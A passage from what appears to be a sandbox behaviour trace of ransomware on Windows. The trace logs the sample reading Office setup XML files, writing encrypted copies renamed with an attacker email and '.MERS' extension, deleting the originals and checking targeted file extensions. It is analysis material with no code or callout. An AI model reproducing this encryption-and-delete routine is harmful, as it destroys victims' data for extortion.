hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x550, lpOverlapped=0x0) returned 1 [0044.232] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.232] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.232] SetEndOfFile (hFile=0x1e4) returned 1 [0044.233] CloseHandle (hObject=0x1e4) returned 1 [0044.233] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.233] SetEndOfFile (hFile=0x1c4) returned 1 [0044.234] CloseHandle (hObject=0x1c4) returned 1 [0044.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.234] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0044.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0044.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0044.234] lstrlenW (lpString=".doc") returned 4 [0044.234] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.234] lstrlenW (lpString=".docx") returned 5 [0044.234] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0044.234] lstrlenW (lpString=".pdf") returned 4 [0044.234] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.234] lstrlenW (lpString=".xls") returned 4 [0044.234] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.234] lstrlenW (lpString=".xlsx") returned 5 [0044.234] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0044.234] lstrlenW (lpString=".ppt") returned 4 [0044.234] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0044.235] lstrlenW (lpString=".zip") returned 4 [0044.235] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.235] lstrlenW (lpString=".rar") returned 4 [0044.235] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.235] lstrlenW (lpString=".bz2") returned 4 [0044.235] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.235] lstrlenW (lpString=".7z") returned 3 [0044.235] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0044.235] lstrlenW (lpString=".dbf") returned 4 [0044.235] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0044.235] lstrlenW (lpString=".1cd") returned 4 [0044.235] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0044.235] lstrlenW (lpString=".jpg") returned 4 [0044.235] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0044.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0044.235] lstrlenW (lpString=".doc") returned 4 [0044.235] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.235] lstrlenW (lpString=".docx") returned 5 [0044.235] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0044.235] lstrlenW (lpString=".pdf") returned 4 [0044.235] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.235] lstrlenW (lpString=".xls") returned 4 [0044.235] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.235] lstrlenW (lpString=".xlsx") returned 5 [0044.235] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0044.235] lstrlenW (lpString=".ppt") returned 4 [0044.235] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0044.236] lstrlenW (lpString=".zip") returned 4 [0044.236] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.236] lstrlenW (lpString=".rar") returned 4 [0044.236] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.236] lstrlenW (lpString=".bz2") returned 4 [0044.236] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.236] lstrlenW (lpString=".7z") returned 3 [0044.236] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0044.236] lstrlenW (lpString=".dbf") returned 4 [0044.236] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0044.236] lstrlenW (lpString=".1cd") returned 4 [0044.236] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0044.236] lstrlenW (lpString=".jpg") returned 4 [0044.236] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.236] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.236] lstrlenW (lpString="Proof.XML") returned 9 [0044.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0044.236] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1458) returned 1 [0044.237] CloseHandle (hObject=0x1c4) returned 1 [0044.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0044.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0044.237] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.237] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0044.237] GetLastError () returned 0x0 [0044.237] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0044.301] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0044.302] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.302] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.303] SetEndOfFile (hFile=0x1e4) returned 1 [0044.303] CloseHandle (hObject=0x1e4) returned 1 [0044.303] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.303] SetEndOfFile (hFile=0x1c4) returned 1 [0044.304] CloseHandle (hObject=0x1c4) returned 1 [0044.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.304] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0044.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0044.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0044.305] lstrlenW (lpString=".doc") returned 4 [0044.305] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.305] lstrlenW (lpString=".docx") returned 5 [0044.305] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0044.305] lstrlenW (lpString=".pdf") returned 4 [0044.305] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.305] lstrlenW (lpString=".xls") returned 4 [0044.305] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.305] lstrlenW (lpString=".xlsx") returned 5 [0044.305] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0044.305] lstrlenW (lpString=".ppt") returned 4 [0044.305] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0044.305] lstrlenW (lpString=".zip") returned 4 [0044.305] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.305] lstrlenW (lpString=".rar") returned 4 [0044.305] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.305] lstrlenW (lpString=".bz2") returned 4 [0044.305] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.305] lstrlenW (lpString=".7z") returned 3 [0044.305] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0044.306] lstrlenW (lpString=".dbf") returned 4 [0044.306] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0044.306] lstrlenW (lpString=".1cd") returned 4 [0044.306] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0044.306] lstrlenW (lpString=".jpg") returned 4 [0044.306] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0044.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0044.306] lstrlenW (lpString=".doc") returned 4 [0044.306] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.306] lstrlenW (lpString=".docx") returned 5 [0044.306] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0044.306] lstrlenW (lpString=".pdf") returned 4 [0044.306] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.306] lstrlenW (lpString=".xls") returned 4 [0044.306] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.306] lstrlenW (lpString=".xlsx") returned 5 [0044.306] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0044.306] lstrlenW (lpString=".ppt") returned 4 [0044.307] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0044.307] lstrlenW (lpString=".zip") returned 4 [0044.307] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.307] lstrlenW (lpString=".rar") returned 4 [0044.307] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.307] lstrlenW (lpString=".bz2") returned 4 [0044.307] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.307] lstrlenW (lpString=".7z") returned 3 [0044.307] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0044.307] lstrlenW (lpString=".dbf") returned 4 [0044.307] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0044.307] lstrlenW (lpString=".1cd") returned 4 [0044.307] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0044.307] lstrlenW (lpString=".jpg") returned 4 [0044.307] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.307] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.307] lstrlenW (lpString="SETUP.XML") returned 9 [0044.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0044.308] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5884) returned 1 [0044.308] CloseHandle (hObject=0x1c4) returned 1 [0044.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0044.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0044.308] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.308] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.323] GetLastError () returned 0x0 [0044.323] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0044.439] WriteFile (in: hFile=0x1ec, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0044.440] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.440] WriteFile (in: hFile=0x1ec, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.440] SetEndOfFile (hFile=0x1ec) returned 1 [0044.440] CloseHandle (hObject=0x1ec) returned 1 [0044.440] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.441] SetEndOfFile (hFile=0x1c4) returned 1 [0044.441] CloseHandle (hObject=0x1c4) returned 1 [0044.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.442] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0044.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0044.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0044.442] lstrlenW (lpString=".doc") returned 4 [0044.442] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.442] lstrlenW (lpString=".docx") returned 5 [0044.442] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.442] lstrlenW (lpString=".pdf") returned 4 [0044.442] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.442] lstrlenW (lpString=".xls") returned 4 [0044.442] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.442] lstrlenW (lpString=".xlsx") returned 5 [0044.442] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.442] lstrlenW (lpString=".ppt") returned 4 [0044.442] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0044.442] lstrlenW (lpString=".zip") returned 4 [0044.442] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.442] lstrlenW (lpString=".rar") returned 4 [0044.442] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.442] lstrlenW (lpString=".bz2") returned 4 [0044.442] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.442] lstrlenW (lpString=".7z") returned 3 [0044.442] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0044.442] lstrlenW (lpString=".dbf") returned 4 [0044.442] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0044.443] lstrlenW (lpString=".1cd") returned 4 [0044.443] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0044.443] lstrlenW (lpString=".jpg") returned 4 [0044.443] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0044.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0044.443] lstrlenW (lpString=".doc") returned 4 [0044.443] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.443] lstrlenW (lpString=".docx") returned 5 [0044.443] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.443] lstrlenW (lpString=".pdf") returned 4 [0044.443] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.443] lstrlenW (lpString=".xls") returned 4 [0044.443] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.443] lstrlenW (lpString=".xlsx") returned 5 [0044.443] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.443] lstrlenW (lpString=".ppt") returned 4 [0044.443] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0044.443] lstrlenW (lpString=".zip") returned 4 [0044.443] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.443] lstrlenW (lpString=".rar") returned 4 [0044.443] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.443] lstrlenW (lpString=".bz2") returned 4 [0044.443] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.443] lstrlenW (lpString=".7z") returned 3 [0044.443] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0044.443] lstrlenW (lpString=".dbf") returned 4 [0044.443] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0044.444] lstrlenW (lpString=".1cd") returned 4 [0044.444] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0044.444] lstrlenW (lpString=".jpg") returned 4 [0044.444] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.444] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.444] lstrlenW (lpString="SETUP.XML") returned 9 [0044.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0044.445] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6241) returned 1 [0044.445] CloseHandle (hObject=0x1c4) returned 1 [0044.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0044.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0044.445] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) 